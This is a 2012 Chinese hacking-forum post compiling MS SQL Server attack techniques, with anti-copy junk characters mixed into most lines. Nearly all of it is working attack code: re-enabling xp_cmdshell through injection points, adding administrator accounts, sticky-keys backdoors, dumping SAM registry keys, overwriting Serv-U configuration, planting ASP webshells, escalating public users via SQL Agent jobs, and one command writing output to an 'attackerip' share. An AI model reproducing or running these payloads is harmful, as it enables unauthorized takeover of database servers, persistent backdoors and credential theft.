中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
; [& z3 A. j: U, Z恢复方法:查询分离器连接后,: W4 r) z; V( q
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
+ n7 F6 ~- p* E7 s第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
! y- H( B4 y7 z7 R8 d然后按F5键命令执行完毕. Y- X4 X5 q$ }

8 Z& j7 O* _) x7 ?2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
0 ~  b6 e* [2 E" S  l恢复方法:查询分离器连接后,$ |) O5 b1 n7 M" j/ H  Z. n' K% ^- g
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
; C# |/ ^& w* }9 {7 f. h# E第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'* [; H8 V, B' u
然后按F5键命令执行完毕: ^2 o7 g+ p& Z
0 p$ [1 c$ N4 c! Z
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
8 O) V$ N) [* }, P* ~: U& q9 p; ?恢复方法:查询分离器连接后,6 d, h. N0 x6 _/ ]6 Q) M' s) c
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
" Z" A; @* p3 n* l第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       " M( H( {3 c0 Y: e7 u2 t
然后按F5键命令执行完毕. q& l$ o( G! y# F

' w/ a. A7 i/ l& }. ~4 终极方法.( w/ L% ?! s' S4 Y3 N; A
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:: h0 K, j) B' B1 R1 Q
查询分离器连接后,
; i: u- w9 i1 V( Z2000servser系统:
/ N& I# c: Z$ u. A; Q. ^declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'* C6 w% d- z/ I8 {
# B5 i3 S. B1 ^0 E5 ~& x* C2 z/ [! D
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
# ~" [0 n6 V1 e3 `* }1 w7 J1 N8 V, ~  n7 v1 E, i
xp或2003server系统:8 v7 B8 j3 W+ l. O  t
9 w' r: v2 A( m; j- g
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
. O. m5 Q# W2 y$ e1 J
( d/ i4 F- g! J! D4 w$ c  gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
2 e6 U6 q0 B0 P- t; F' @  }4 Y$ Y) d) N& I
# Y7 O( T+ S( I3 [$ u( J* |: ]
五个SHIFT5 j  ]2 s2 f9 L7 }0 m6 W6 h
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';  I& E7 @, G8 |8 O- w) [7 ]

7 ]5 {3 k: C/ k( Z3 W; w" rdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
7 j; U, ~- h' o5 f$ _, P3 {+ g8 s3 G* m: v$ Q0 Z5 G9 O& j4 L- L" m( |
xp_cmdshell执行命令另一种方法3 D0 q6 m  z) K' m6 R( o+ K
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
+ ^  @( t" h# b: K1 q; e9 P; L5 B+ e8 b8 k: J
判断存储扩展是否存在
, Y# Y# m3 f8 ~  K; V, Q/ GSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'- S7 T1 f) f* ^5 s8 {
返回结果为1就OK
) `7 Y8 V/ U; n; @' \9 l! C% r3 j; y4 \! i5 N9 R
! ^$ o! i* f% T+ a& _4 C
上传xplog70.dll恢复xp_cmdshell语句:) a. t* Q4 A. }, X6 u* ~& E" r& l
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'5 U: i+ \# y4 g1 l9 J
" f) e/ b. I% r" D$ o
否则上传xplog7.0.dll
- z# x$ R& g+ p3 T& S! ^6 MExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'6 u1 ]* `! J. k: ]- H; \

: q8 T( p3 r1 _' E# C
( U9 S& T. L7 r- g4 @/ [
& X: k3 e# G, D9 v% o首先开启沙盘模式:
4 p7 L% C6 h, Z% wexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( N, k, y' Z) o
5 ?, x  \- I1 T
然后利用jet.oledb执行系统命令
* Z% m4 f- U2 e$ R9 vselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'): V+ n2 }5 K1 t: D8 g
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了- k2 a( x# K1 l' o: d3 S

* f! W6 y) s6 p& z; U8 l9 P/ z) D3 x# s* `2 D/ X, A1 G
5 g# S, i5 [5 ^3 c9 H$ n
恢复过程sp_addextendedproc 如下:
6 B, x1 i% o3 I. T3 e) ?/ Jcreate procedure sp_addextendedproc --- 1996/08/30 20:13 6 Y$ @- }: ]0 J# z' |& C
@functname nvarchar(517),/* (owner.)name of function to call */
# L4 ?" F  V" ~! H) ?; ^@dllname varchar(255)/* name of DLL containing function */
: s/ H7 @# L: ras
7 i5 Q+ p7 h. `9 g1 M/ hset implicit_transactions off
5 P' S, O6 d* b- Yif @@trancount > 0 8 `6 z! P8 V5 Y. ]# p- S3 ?
begin - H; {. {$ e/ z
raiserror(15002,-1,-1,'sp_addextendedproc') 2 t+ j: \" Y4 D) U5 g: W* ^6 m( _
return (1)
; E- {8 T  u& l, fend
1 i9 l# ]) v- N& @2 y9 N3 p+ [9 z8 M. qdbcc addextendedproc( @functname, @dllname)
% M1 B5 d, @) ?7 _( }$ w1 U+ hreturn (0) -- sp_addextendedproc
5 n1 U$ c7 T; S4 XGO 1 @* [8 l) w& o2 y+ U

  \9 y9 `8 n3 n  D. E: C1 u3 n
- y# d8 _& O" ~" R7 D4 w
& G6 R. O! I1 m: {* r* B' j导出管理员密码文件
$ {9 Q# n3 p1 t" X' V% X0 h/ qsa默认可以读sam键.应该。, P' j( ~5 C& X
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg/ t* F# H  J- l7 I, Y
net user administrator test" |4 \4 r2 ~. F! h' P! J0 e- U
用administrator登陆.
* ~* l0 w; e/ a5 |. R& v& Y用完机器后
& R- J, F5 ?, J/ H- W/ _. Greg import c:\test.reg
! N0 e3 k7 }# @, S: V9 M0 L根本不用克隆.
- `( s; D6 ~6 A# A7 E0 i1 G0 ]找到对应的sid. - n; Y& |) Q* X- }/ w# J& V
$ F8 O. p* M) E0 B4 u/ \8 S
# _$ c% i# g3 k: t% ^7 w: v

5 R; |8 w2 ~9 w/ U% y4 C: t恢复所有存储过程
& F( D, j( O# e5 duse master * x0 E1 m5 V7 |( h( _/ Q
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' & w6 t$ s' K2 F. Z  }5 R$ g
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
; }, c" p( y" t' K  |exec sp_addextendedproc xp_loginconfig,'xplog70.dll' 9 L# i0 R4 X, q
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' ) f8 E1 I: K/ M4 y. e
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 @3 ?$ [. G0 O$ {& R0 `exec sp_addextendedproc sp_OACreate,'odsole70.dll' 0 H( r4 L& ^; h' l- ^
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
% Q6 w+ \; _  k6 B4 X. X  ?exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
, f: Z) P9 N1 E9 Gexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' + E# B- }6 A/ g: A% `; v$ g
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' , M/ |- `) V9 ^: ~3 D
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
; k$ V1 W' i) T. Q+ {9 m' zexec sp_addextendedproc sp_OAStop,'odsole70.dll' " G0 f/ E/ h- @
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' ( \- E. t, J/ n) }
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
9 |( @& {' I. H- N! Uexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' + J$ O8 G4 L( \! O( ]  M4 K2 P
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' " _/ O: K( S0 I, ~
exec sp_addextendedproc xp_regread,'xpstar.dll' 8 t, {  C- A9 S4 {: s5 j3 c1 R5 v5 R
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' , R' |3 q7 |7 ]0 L, X
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
4 x* |' ?. ]; L) B6 rexec sp_addextendedproc xp_availablemedia,'xpstar.dll'& {' l6 L) o- L( O+ H& x  m

% @* y2 R" W8 s8 N0 m! e7 n$ e+ Y
建立读文件的存储过程
7 @; ]  q4 A8 ]! aCreate proc sp_readTextFile @filename sysname; k1 R* k2 B0 p% X! y/ M
as
' X6 {- I& T, p" D, H" a  }( N
) s6 R7 P  i1 B3 V# g& e    begin
) b- r, M1 ^* b    set nocount on 7 C# h, {/ b9 a1 s% D/ x
    Create table #tempfile (line varchar(8000))
9 T6 U$ [! Z8 J! ~' C1 J    exec ('bulk insert #tempfile from "' + @filename + '"')3 F/ k+ H) ^) U0 J
    select * from #tempfile
* x4 Z7 j) w6 P6 d& x    drop table #tempfile1 V% X6 C* w7 t' H! i; \" O
End
8 J# f! h$ X: ]6 [  T; w  W) T* z( h# P3 X
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
/ b$ z) s; C, K! V. p3 x1 D( J4 ?) A5 w查看登录用户
, O4 x) v3 d% r* M1 U) s% _/ O1 [Select * from sysxlogins5 U( t' r0 l' E! q

  h( z( o9 l0 R2 D; Y; E% o把文件内容读取到表中: L2 K, T- [$ h4 q# j
BULK INSERT tmp from "c:\test.txt"
4 s3 d+ C8 l7 }9 t$ s5 CdElete from 表名 清理表里的内容" H: f7 C5 Z3 t% B" L# G- h( Y
create table b_test(fn nvarchar(4000));建一个表,字段为fn5 f6 K/ X' b& b6 V
- K6 K. u. W; N

" k% K5 F/ @; Y! x& V加sa用户
; Q* L: o3 e9 K! D! p, Oexec master.dbo.sp_addlogin user,pass;8 p0 a* o& {* u( M
exec master.dbo.sp_addsrvrolemember user,sysadmin4 m6 G. \( _8 b! ], ~& B

$ h8 e3 S/ g9 t9 Q! c/ _, f
- k) J  ]' l% N: }1 t1 D. {9 r
2 K% D6 A6 o" f5 N读文件代码1 _7 M  _3 ~3 F: a
declare @o int, @f int, @t int, @ret int* `/ S/ ~+ r0 N1 Z
declare @line varchar(8000)
$ G9 X$ V$ [. g9 D; Jexec sp_oacreate 'scripting.filesystemobject', @o out6 k+ }# U: l# }0 l+ i0 H4 ~- `
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
4 J/ F* z5 N' D5 Z9 u, C- G: O1 p4 Fexec @ret = sp_oamethod @f, 'readline', @line out
4 E, l- Z5 ]9 k% M; P5 Swhile( @ret = 0 )& m4 N4 ?' O% \7 j
begin+ R- c1 e+ J* u
print @line
  W! L: ]4 s; b1 {exec @ret = sp_oamethod @f, 'readline', @line out
- O4 J7 \1 Q$ o, \4 R& C- W6 g6 oend
7 X: e$ K: o6 v* {( p& L5 a* G7 `8 D* \# {. c
7 |# R3 V; j1 N$ C
写文件代码:( j( [& @: N: R' a. f3 q, [
declare @o int, @f int, @t int, @ret int; K- g9 G: _- V
exec sp_oacreate 'scripting.filesystemobject', @o out
3 D) T" P" {/ v  R+ rexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1# u4 c& Z- [% ^- q4 @) g. E. |
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
7 s6 s2 l5 U2 s/ X1 v4 E. c1 H# Q# `" @0 S0 U1 S7 g
  J1 J* J, X2 s2 v' j2 ~' b7 R. ]1 N
添加lake2 shell/ k% N2 [0 Q/ q/ b8 Q2 r7 q2 y, q
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'& ~7 ^" T" {- @3 {  n6 k+ W- F
sp_dropextendedproc xp_lake2
& T! K* K1 u4 N% |. ^; R/ I( SEXEC xp_lake2 'net user'
2 |2 K8 d& }, g6 B2 m
" Y, x8 q- z8 ]
7 Z6 s( F0 w: L9 @7 I1 V) h得到硬盘文件信息
6 |' \: J% G$ _) i* w+ r--参数说明:目录名,目录深度,是否显示文件 9 h3 X7 f: z+ ^0 h2 N3 v
execute master..xp_dirtree 'c:'
' G2 e& y# q1 V5 f8 y+ G2 Pexecute master..xp_dirtree 'c:',1 " X4 V' d& ?  d& K$ R
execute master..xp_dirtree 'c:',1,1 * t- N( R9 j1 I0 x

5 v5 g  U4 K  P1 O5 V2 A- u% m/ B8 H9 G* T
读serv-u配置信息/ }' U. u& \. H% k2 A
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
# c0 D. u8 |" n; R' \5 nexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
3 A, D# o( [) s1 P1 w: ]
* S- x) J  N8 b7 o通过xp_regwrite写SHIFT后门) ?  t6 Q7 X, S! I% |
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--' \5 e' o& c5 ^( ^9 d

7 G: @5 I6 w- f1 x1 n) S2 f' ]( [3 j5 j2 _) \+ \8 t& E

# Y7 d. p4 m- |" j- z找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';/ ~( N# ]. u- x5 \" P2 F" M
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了+ B' M# Y' ?+ C' X/ d" J6 f
- V7 G* R9 i" K* y; r$ k
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'0 |3 w% Y3 }7 F7 V& n" [/ |* P

( }! A" T5 Q$ Z; M/ |* n4 n
5 Y$ S7 G& a$ D; p! n
0 |2 |$ R% c! T' g+ {2 f* xsql server 2005下开启xp_cmdshell的办法
0 F: w! S! N) @) F$ L
7 b/ c( y# F6 K& sEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
9 Z4 n& M! j  m8 Y
* l/ B3 L# b' E& U) ~( @  PSQL2005开启'OPENROWSET'支持的方法:
/ ]& X/ b8 q4 I& l
4 d0 f# E: ~3 Xexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;4 Z, X% _  j- P0 n4 Z
' S+ R* `; g# Q3 w
SQL2005开启'sp_oacreate'支持的方法:
9 a8 @8 i6 V7 Z8 T% s! i& l2 |
$ C. m# E  {- k2 p( Z' T* eexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
! J8 u$ Q4 S5 |! ^% p' q: Z- x
; S7 k: S. |# {$ s' j! o2 `9 w9 `- _( i
+ ~, _' a% h% r3 L" L+ x
  u9 {9 _6 p' P. ~4 f

8 r* v2 D- L4 J" }6 [1 g9 j8 l6 T
9 Z: S! Y6 W# X8 C; ^$ O8 z% g* V  r, K7 Y2 E5 P
. Y) m& I& n' Z( w0 X& _+ h5 b
4 w3 b! B- O. Z% O5 u8 L" Z! w
& k: ^8 g- t8 V6 g% ?  ?
& T" ^) Y3 L  n$ _4 x5 a

0 S2 Z8 e; L' G9 H$ U; o* h) E. r# D0 v4 G( ?# k0 F9 l0 Y

: R/ ]0 D# d3 f7 `
+ d: N- g3 k8 l" E3 c6 V) b- w& Y7 z/ ^0 d

) h2 c0 i1 n# y* @3 {. g9 U$ j. [; T  ~7 [# M
( u9 h  w1 L& r9 K3 o8 y% i

+ Q7 Y5 }  H( U
/ E5 C8 _! Q: x( I9 P# @$ V5 I$ s5 y* d; f, z  ]

% O2 M! i: ]0 C1 _4 R& W) t! @. K" P" M9 _" C7 G
以下方面不知道能不能成功暂且留下研究哈:: Y% p: j6 b: m0 C' E9 O" P
4)
2 ^2 S6 j* e4 S9 `0 P8 ^; Zuse msdb; --这儿不要是master哟
+ Y+ |( w8 ]: s& }exec sp_add_job @job_name= czy82 ;7 ^& ^' E& c4 `
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;" U0 A+ [0 ?' Z5 h8 w3 ]2 d
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;$ T  ^' u4 |9 p, z" ?
exec sp_start_job @job_name= czy82 ;( t: p) i/ |# B
- q3 {3 w  S( O4 ~  c7 h( W
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
; @: N, O& w8 r: D执行tsql语句了.
" u% R! y- m! e- z% A对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
) u$ _4 _( o- I4 Z" k第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)4 H% \5 S: Q6 Y2 |
net start SQLSERVERAGENT- b: k/ D/ [  k) a) `
" v4 u/ {2 C" V
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的5 _! v+ v4 T: N
USE msdb
' L& l) ], O# M: b, TEXEC sp_add_job @job_name = GetSystemOnSQL ,3 P6 L% |, X8 J: U- a; j
@enabled = 1,- H" U( W3 O1 F+ X2 _
@description = This will give a low privileged user access to
5 h  d  }* q+ T' T3 xxp_cmdshell ,
! J; y- T) b) B- h  T@delete_level = 1* ]6 A7 \0 D+ c: m6 F7 |
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
1 n. @. Z, s& c' u; M@step_name = Exec my sql ,
0 i2 I* _# b, s- d/ f) g: ]( L* @* x@subsystem = TSQL ,0 H3 s' A/ F2 [0 Q0 ~# F% a
@command = exec master..xp_execresultset N select exec
4 `& r! ?8 \5 e* f/ w, tmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
) \. Q  N" v1 C" Q- gEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,# ^2 n! W/ y3 C2 T
@server_name = 你的SQL的服务器名 ( F! q) @5 ]/ f- r. C' G4 b
EXEC sp_start_job @job_name = GetSystemOnSQL
% B6 `$ s  B3 O# [, m
7 E$ d$ }% v, T4 N. M) |' g不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
! n8 A1 l& E" N9 A才让我们可以以public执行xp_cmdshell
9 n8 W$ U6 a" c5 T" z( F* D8 t/ g  F7 k" f! H
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)% ^  [; u3 }% t! [
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29684 E4 H& i* o: G# U, I

7 Y# |* w1 M! o3 ]; `$ FUSE msdb: T1 p! X% U1 E& u4 [' E$ }$ s5 A
EXEC sp_add_job @job_name = ArbitraryFilecreate ,- |, {0 w, s. C4 R# m7 A
@enabled = 1,
7 q+ l- q5 i8 l3 G8 V: b- k@description = This will create a file called c:\sqlafc123.txt ,
2 P. Q0 \0 b$ P: B@delete_level = 1
9 E: c6 Z: ^3 k' n9 t' ~2 TEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ," ]6 I, T' G1 H! N* B+ t% M
@step_name = SQLAFC ,
# w% b) D$ H/ A) Z@subsystem = TSQL ,
: B1 i! S$ {9 v) m  Y3 _  m* n@command = select hello, this file was created by the SQL Agent. ,
. `" k5 V1 W& O% E. |* {' z9 X( U@output_file_name = c:\sqlafc123.txt % [3 n) w7 Q% T' E+ V: L
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,/ u$ x9 L2 v7 b% d1 }$ s: T
@server_name = SERVER_NAME
6 }; F: B( @7 b7 {1 Z) d2 {! XEXEC sp_start_job @job_name = ArbitraryFilecreate + P/ p: z0 n: R+ ?0 \, [

$ w0 f! ?( _: X' K- k如果subsystem选的是:tsql,在生成的文件的头部有如下内容2 m3 g& ~9 V! p' d& @

! V5 B: Q6 X$ A2 {* B??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
# V/ b, k/ |1 t4 w3 ]" R----------------------------------------------
! X' k# \1 k2 M! c, T+ t! R& vhello, this file was created by the SQL Agent.
$ p* E8 z7 C7 N0 c9 o
0 m* I+ j- q, O/ R, b* o(1 ?????)
8 m, `1 M' }5 Y( U/ d  d" Q* C+ F) }5 W1 ^4 j6 r4 e- x; K9 [
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
7 T9 @( l* d0 {命令的vbs文件到启动目录!
+ J8 ^  M" y- P" J
! U4 ]6 s7 s, x/ b6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
' i6 M) `. H! a; `关于sp_MScopyscriptfile 看下面的例子, m6 [5 @) u5 i# d* e* G8 z
declare @command varchar(100) 4 [8 D$ C0 l+ n# h" `  @' ~
declare @scripfile varchar(200) ; }, Q1 M( t- e+ n, ~0 a# E
set concat_null_yields_null off
& C2 Y* ?/ C2 X$ W3 m: `, K$ Hselect @command= dir c:\ > "\\attackerip\share\dir.txt" ! _+ F6 {9 E9 Y) n. f' v$ v
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
: g. P4 ^$ r8 W# Rexec sp_MScopyscriptfile @scripfile ,
0 j* c& f" ^" c" }
8 q) h+ {2 P" [- h1 Y/ @! u' v这两个东东都还在测试试哟2 ^+ S9 V  g7 k) W, R9 N
让MSSQL的public用户得到一个本机的web shell
$ C& G  |  P5 S7 L
  f4 |6 ~4 @1 F, Z* hsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
& }7 U$ ~/ w; Z# m" }/ k--@query= select <img src=vbscript:msgbox(now())>
, U" A9 w5 I/ N# Q  j--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
- z' {% d6 v8 q@query= select 7 ^- K: G. }1 w6 {( P0 v
<%On Error Resume Next " R$ z0 W( A8 d$ M- z) @
Set oscript = Server.createObject("wscript.SHELL") " ?8 I4 e7 X- c0 r6 X/ a
Set oscriptNet = Server.createObject("wscript.NETWORK") 6 S+ c2 {1 ]5 M# b: b3 B
Set oFileSys = Server.createObject("scripting.FileSystemObject")
/ v' U+ B. _# M! Y, q8 DszCMD = Request.Form(".CMD") - R! P! ?& G( _1 Z) H9 V9 D
If (szCMD <>"")Then
9 b2 u" B3 P/ Y4 m9 f8 u0 ?szTempFile = "C:\" & oFileSys.GetTempName() . o0 ^8 h9 J/ B; M5 l5 R  b$ {
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) $ x/ E4 s5 F% m6 g5 n+ h
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) , S$ d' r" r1 T3 q
End If %> ' J  N; t3 H$ M0 I
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
2 N( V  ~" e. d0 [) h<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ) b& q! o1 V+ B* v+ ]+ l
</FORM><RE>
) g- t' l- g6 [; I7 r( Q. p<% If (IsObject(oFile))Then
6 A6 X4 L, `: g' I) _1 xOn Error Resume Next " {7 q4 Z- @& Q" R* j
Response.Write Server.HTMLEncode(oFile.ReadAll)
* q. k+ L. v0 q. JoFile.Close
# l5 `1 z( i& H3 J( LCall oFileSys.deleteFile(szTempFile, True)
0 s/ v9 g  B2 k3 j2 T6 Y6 {End If%>
% `+ B% v7 O& y0 F</BODY></HTML>
& D: N; `0 s3 s$ J; L




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2